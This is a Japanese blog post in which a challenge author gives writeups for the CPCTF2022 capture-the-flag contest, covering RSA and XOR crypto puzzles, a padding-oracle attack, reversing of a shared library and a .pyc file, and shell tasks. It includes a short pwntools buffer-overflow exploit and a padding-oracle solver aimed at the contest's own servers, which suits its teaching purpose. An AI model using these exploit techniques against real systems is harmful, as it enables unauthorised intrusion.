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2022年5月3日 | ブログ記事

CPCTF2022 作問者writeup by あんこ

こんにちは~

21Bのankoです。普段はCTF班・SysAd班などで活動しています。この記事は5/1に行われたCPCTF2022の作問者writeupです。

writeup

Crypto

Pwn

Reversing

Shell

Misc

の13問を作問しました。

Crypto

Newbieは75solvedとCPCTFで最も解かれ、Huge Magicは3solvedとhard問らしいsolve数となり、tessoさんのMedium問のおかげで全体的にいい感じに難易度勾配ができたと思います。

My own language

難易度: Newbie
正答者数

ヒントなし ヒント1 ヒント2 ヒント3 (解法)
32 0 0 41

問題

Ya! Lxi zyq etxn sawo rtooxmto? Metxs! Sawo wo x pwin yb owrugt oqcoswsqswyi lwuate saxs etugxlto x gtsste dwsa ysate gtsste. Sat Lxtoxe lwuate, yit yb sat bxryqo oqcoswsqswyi lwuateo, axo ctti wi qot owilt sat swrt yb sat xilwtis Eyrxi Truwet. sat bgxm wo atet. LULSB{dtglyrt_sy_lezusy_dyegn}.

解法

感想

CTFで一番最初に解く暗号といえばこれですよね。徐々に分かってくるこれが案外楽しくて好きです。

RSA warmup

難易度: Newbie
正答者数

ヒントなし ヒント1 ヒント2 ヒント3 (解法)
47 0 0 28

問題

多くの秘密を守る為、現代ではRSA暗号がよく使われています。そこでRSA暗号の仕組みについて問う問題です。
RSA暗号とは剰余上の累乗を使った暗号です。具体的には暗号化は次のようにして計算します。

  1. 素数 を生成して を計算
  2. 平文 に対して暗号文

例えば

とすると暗号文 となります。

それでは逆に復号化はどうやってやるのでしょうか?暗号文と を与えるので平文をフラグの中に書いて提出してください。例えば平文が1であれば CPCTF{1} と書きます。

解法

感想

415411が2つの素数の積に分けられるのは運命を感じました。

poweRSA

難易度: Easy
正答者数

ヒントなし ヒント1 ヒント2 ヒント3 (解法)
28 0 1 2

問題

ヤーーッ!パワーーッ!(ニッ

ソースコード

from Crypto.Util.number import getPrime, bytes_to_long
from secret import FLAG

m = bytes_to_long(FLAG)
p = getPrime(512)
q = getPrime(512)
N = p * q
e = 0x10001
r = pow(p, q, N)
c = pow(m, e, N)

print("N:", N)
print("r:", r)
print("c:", c)

暗号

N: 90155872626109118751539082340637664291284739918666752584753399796834394108934269799361082409068780300733478243187803947914852201275756546305701601038245062017076328987708208192044674964106835923338854908195583033310310682803512196201848036103484667516142174036453910627093541752413321035733931243762833992113
r: 9322793222533738919136767770062343847990445869750540466031127454552421896606703877767352447027469817530156341564290950012563071681611937229761941420331277
c: 6146682863326523930660780475800345684609346868118904988599020801137516078990162263453764612248242206809400248946028976662634601168167123937919798903932765746347318386910880849642655181553179504240263695508893635468417428856823495012423849224891599994895553098814398443037416874773801965115317240666818199846

解法

感想

pycryptodomeライブラリの周知ができておらず、どうやって実行するのかわからないという新入生を見つけて反省しています。

xxorxx

難易度: Easy
正答者数

ヒントなし ヒント1 ヒント2 ヒント3 (解法)
37 0 2 0

問題

たくさん書き換えれば誰にもわからないよね!

暗号

VEVASnm%gJ$ Jv%xx`"!"$c&h

ソースコード

import random
from secret import FLAG

def encrypt(message):
    text = list(message.encode('ascii'))
    for _ in range(100):
        a = random.randrange(1, 32)
        b = random.randrange(1, 32)
        for i in range(len(text)):
            text[i] = a ^ ((b ^ text[i]) ^ a) ^ b ^ a
    ciphertext = bytes(text)
    return ciphertext

cipher = encrypt(FLAG)
with open('ciphertext', 'wb') as f:
    f.write(cipher)

解法

感想

もうちょっとひねりがあった方がよかったかもしれません。

xoRSA

難易度: Medium
正答者数

ヒントなし ヒント1 ヒント2 ヒント3 (解法)
13 0 0 0

問題

xorはどうでしょう?

from Crypto.Util.number import getPrime, bytes_to_long
from secret import FLAG

m = bytes_to_long(FLAG)
p = getPrime(512)
q = getPrime(512)
N = p * q
e = 0x10001
r = p ^ q
c = pow(m, e, N)

print("N:", N)
print("r:", r)
print("c:", c)
N: 139235503042254064309077770393646303188942297355939447781301184315203838859708059442664051761405959677829133089623281802087683459545012063052518520162574418228020183263503188755631546115378748820877275662985471380538866444727972253523529478172173764971657050954361550621570419637334416893964171956073756253683
r: 2801100288064419562600390075938194804946814447692950383217940430289559572204430453666455060156787941865713268546984846036400686381392754238345213095810930
c: 134017111202608866662558829383137221565544181337212980453878508930371299655821193584325508580634129141615833716029358887057381456183078031792155245346229544675476657533772320436013445416509011795199275870216737672382794015629537402921916258992699801915108288439413630382725197837732201368067433140286862659773

解法

感想

xorと累乗の記号^セットで作問できてウェイ!って感じでしたが一方は既出だったようですsorry

Ore Ore Padding

難易度: Medium
正答者数

ヒントなし ヒント1 ヒント2 ヒント3 (解法)
4 0 0 0

問題

オレのパディングを使えばセキュアに通信できるぞ!

nc ore-ore-padding.cpctf.space 30003
OreOrePadding.py

解法

すると平文の範囲が半分に狭まります。

上の情報を踏まえた上で次は を復号した をパディングチェックに通すと

となりさらに平文の範囲を狭められます。

これを繰り返すことでmの値が分かります。

def solve():
    result = []
    for i in range(1024):
        oracle = send(c * pow(1 << i, e, n) % n)
        if oracle == b'ok':
            result.append(0)
        else:
            result.append(1)
            
    a = 0
    b = 1
    for r in result:
        a *= 2
        a += r
        b *= 2
    m = (a * n) // b
    print(long_to_bytes(m))

感想

終盤になるまで誰にも解かれなくて何かミスしているのではないかとかなりヒヤヒヤしました。

Huge Magic

難易度: Hard
正答者数

ヒントなし ヒント1 ヒント2 ヒント3 (解法)
3 0 0 0

問題

from Crypto.Util.number import *

m = bytes_to_long(b'CPCTF{?????????????????????????????}')

p = getPrime(512)
q = getPrime(512)
N = p * q
phi = (p - 1) * (q - 1)
d = 0
while d**3 < N:
        e = getPrime(514)
        d = pow(e, -1, phi)

c = pow(m, e, N)

mask = (1 << 1024) - (1 << 512)
dd = int(d) & mask

print('N =', N)
print('e =', e)
print('c =', c)
print('d_upper =', dd)

output.txt

N = 90939223859721065610862935537695556968207179624083547609382959391827970213188073925738609095340887508982374819507763202990382116637689482996125719987547439400438940425520466328564578769932561021300052714824099962904717048919588246699001362600740100562799202415816271733958726809148191957178448878640211971217
e = 28780878885028029068009854941107723615805003289445958462835891799353913131016679625734191623589757264242993681053068956238879702667424667826079781093408259
c = 42678683035923131049668970168808767748635738063581032910985111593991437942421857644016165577254233191954978738490214943784505496063268068874463327064146221195508854470118344191042977681958992317632527386820178940658851201573898000949859645820453170483089403811044443420762095480823433515466852482982648738753
d_upper = 72815241641832913015306069498292671365374835875329728442889034517829457910454728333660542813457668021234877811900502752976627600651671619241693728523710188202970669731628977009483014396067288624201942230853870533712235114035353137804457928890449073378488353230526173552347689356510938533461621504590982676480

解法

まずは の関係式を立てると

この式について より第二項は上位ビットに関連する情報をほとんど持ちません。これより第一項の について上位ビットと一致する の候補を見つけることができます。ただ若干の誤差があるのでそれを考慮する必要があります。

次に を求めます。ここはいくつかの解法があり、想定解は を法として を求めます。

他にも の下位ビット、 として拡張ユークリッドの互除法を行い、不定方程式を解きます。LLLを使ったりしても解けるそうです。

これで が分かったので と合わせて2次方程式にして を解くことができます。後は復号化の手順を追って解読できます。

感想

今回どうにかしてLLLやCoppersmith、Gröbner基底などを使わせずして解けるhard問というものを構想して作問しました。新入生に対してはわかりやすい解説となり、上級者に対しては「Partial Key Exposure AttackなのにCoppersmith methodを使わない!?」という驚きを提供しようといった感じです。(どうでしたでしょうか?)

競技後のTLを見てみたら上級者も楽しめたようでなりよりです。

それとソースコードをsagemathからpythonに変換する際に若干誤りが出てしまって申し訳ないです。

Crypto感想

自分が作った問題はRSA暗号ばかりで今にもつまらんぞパンチを食らっちゃいそうです...楕円曲線暗号を出題したいと思っていましたがオリジナリティを出すのが難しく、作れたとしても既出という産みの苦しみを味わいました。来年こそはバラエティのあるコンテストにします!

Pwn

Smash Stack

難易度: Easy
正答者数

ヒントなし ヒント1 ヒント2 ヒント3 (解法)
19 0 0 2

問題

Let's learn how to exploit!

vuln.c

接続先
nc smash-stack.cpctf.space 30005

解法

from pwn import *

# io = process("./chall")
io = remote('smash-stack.cpctf.space', 30005)

payload = b'A' * 40 + p64(0x4012bc)
io.sendline(payload)

io.interactive()

感想

これを解けた新入生が1人のみということで申し訳ない!来年はもっと新入生に解けるようなpwn問を提供します!
あとほそぼそとカーネルエクスプロイト問を解く会をしているのでそれも出したいですね。

Reversing

難易度: Easy
正答者数

ヒントなし ヒント1 ヒント2 ヒント3 (解法)
9 0 0 1

問題

Let's link!

main libwish.so

解法

2つの解法を想定しています。

1つはリンクして実行するという解法です。
このバイナリは共有ライブラリを使ったプログラムであるからリンクしないと動きません。そこでリンクさせるにはLD_LIBRARY_PATHにリンクさせたいライブラリのパスを設定することで自動でリンクしてくれます。

$ export LD_LIBRARY_PATH=.

もう1つはバイナリの中からフラグを取ってくるという方法です。
まずobjdumpを使ってバイナリの中身を見てみます。

$ objdump -S -M intel main
...
0000000000001149 <main>:
    1149:       f3 0f 1e fa             endbr64
    114d:       55                      push   rbp
    114e:       48 89 e5                mov    rbp,rsp
    1151:       b8 00 00 00 00          mov    eax,0x0
    1156:       e8 f5 fe ff ff          call   1050 <print@plt>
    115b:       b8 00 00 00 00          mov    eax,0x0
    1160:       5d                      pop    rbp
    1161:       c3                      ret
...
$ objdump -S -M intel libwish.so
...
0000000000001139 <print>:
...
    1154:       48 b8 42 51 42 55 47    movabs rax,0x65357a4755425142
    115b:       7a 35 65
    115e:       48 ba 77 32 6f 75 74    movabs rdx,0x5e327374756f3277
    1165:       73 32 5e
    1168:       48 89 45 d0             mov    QWORD PTR [rbp-0x30],rax
    116c:       48 89 55 d8             mov    QWORD PTR [rbp-0x28],rdx
    1170:       48 b8 31 67 5e 6d 30    movabs rax,0x326a6f306d5e6731
    1177:       6f 6a 32
...
    1191:       8b 45 cc                mov    eax,DWORD PTR [rbp-0x34]
    1194:       48 98                   cdqe
    1196:       0f b6 44 05 d0          movzx  eax,BYTE PTR [rbp+rax*1-0x30]
    119b:       83 f0 01                xor    eax,0x1
    119e:       89 c2                   mov    edx,eax
    11a0:       8b 45 cc                mov    eax,DWORD PTR [rbp-0x34]
    11a3:       48 98                   cdqe
    11a5:       88 54 05 d0             mov    BYTE PTR [rbp+rax*1-0x30],dl
    11a9:       83 45 cc 01             add    DWORD PTR [rbp-0x34],0x1
    11ad:       83 7d cc 19             cmp    DWORD PTR [rbp-0x34],0x19
    11b1:       7e de                   jle    1191 <print+0x58>
...
    11c6:       e8 a5 fe ff ff          call   1070 <printf@plt>
...
...

main関数からprint関数を呼び、print関数は上のようになっています。途中で値を代入している部分があるのでそれをASCIIを用いて復元するとBQBUGz5ew2outs2^1g^m0oj2s|となります。その後すこし読んでみると1とxorしてそうなのでこの文字とxorしてみるとフラグが得られます。

感想

想定したより解かれず、やはり実行バイナリは新入生には馴染みの無い概念なんだなと感じました。traPのCTF講習会ではしっかりサポートしていきたいなと思います。

pyck up!

難易度: Easy
正答者数

ヒントなし ヒント1 ヒント2 ヒント3 (解法)
8 0 1 2

問題

我々が狙っているハッカー集団の居所を遂に見つけた。至急現場に向かったが誰一人として居なかった。そこに残されていたパソコンからデータを解析してみても、ハッカーが使っているソースコードは跡形も無い。しかしながら代わりにこんなファイルを入手できた。

secret.cpython-310.pyc

解法

pycファイルのディスアセンブラであるdisライブラリを用いて解析すると次の命令列となっていることがわかります。

  1           0 LOAD_CONST               0 (0)
              2 LOAD_CONST               1 (None)
              4 IMPORT_NAME              0 (base64)
              6 STORE_NAME               0 (base64)

  3           8 BUILD_LIST               0
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             12 LIST_EXTEND              1
             14 STORE_NAME               1 (data)

  4          16 LOAD_CONST               3 (b'Q1BDVEZ7Y2FjaGVfaXNfYWxzb190aGVfc2VlZF9vZl9leHBsb2l0fQ==')
             18 STORE_NAME               2 (FLAG)

  5          20 LOAD_NAME                0 (base64)
             22 LOAD_METHOD              3 (b64decode)
             24 LOAD_NAME                2 (FLAG)
             26 CALL_METHOD              1
             28 STORE_NAME               4 (supersecret)
             30 LOAD_CONST               1 (None)
             32 RETURN_VALUE

このコードは1つのスタックを用意してその上で走らせていて、代表的な命令の意味は次のようになります。

これよりsupersecret = base64.b64decode(FLAG)としているんだなと分かり、FLAGの部分を見つけてbase64でコードすることでフラグが分かります!

感想

世のrev問、パズルではないならこのくらい簡単でいいと思ってます。

Shell

Veeeeeeery Long Text

難易度: Easy
正答者数

ヒントなし ヒント1 ヒント2 ヒント3 (解法)
44 4 4 1

問題

flag.txtにフラグが書いてあります、やったね。

ssh user@veeeeeeery-long-text.cpctf.space -p 30004
password: P455W0I2D

解法

cat flag.txt | grep CPCTFなどとしてやると、該当部分を含む行を検索してくれます。
他にもlessでは、/で検索機能を起動できます。

Find Image

難易度: Easy
正答者数

ヒントなし ヒント1 ヒント2 ヒント3 (解法)
21 1 1 1

問題

おじいちゃんは重要なファイルがどこにあるか忘れてしまいました。ディスクイメージを取ってきたので代わりに探してあげましょう。
image.img

解法

感想

おじいちゃん逆にこれでよく触ってこれたな!

さいごに

私はCTFを始めて初の作問側に立ちました!よわよわなりに楽しめられるような問題を作れたと思います。また、運営やインフラなども関わって限界開発を楽しめました!ただ多数の不備で参加者を混乱させてしまって申し訳ないです。

参加者のみなさん、CPCTF2022に参加していただきありがとうございました!

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anko

21B/理学院物理学系 CTFがすきなヲタク

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